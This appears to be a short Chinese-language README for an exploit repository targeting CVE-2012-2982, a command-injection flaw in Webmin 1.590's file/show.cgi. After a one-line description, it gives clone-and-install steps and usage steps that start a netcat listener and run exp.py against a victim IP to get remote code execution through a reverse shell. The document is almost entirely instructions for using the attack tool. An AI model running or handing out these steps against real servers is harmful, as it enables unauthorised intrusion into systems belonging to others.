CVE-2012-2982

描述

Webmin 1.590 及更早版本中的 file/show.cgi 允许远程认证用户通过路径名中的无效字符（例如 |（管道符））执行任意命令。

安装

1. git clone https://github.com/CpyRe/CVE-2012-2982.git
2. pip3 install -r requirements.txt

使用方法

1. nc -nlvp <port>
2. python3 exp.py <myip> <vulnip> <port> 或 python3 subprocess-exp.py <myip> <vulnip> <port>
3. RCE!!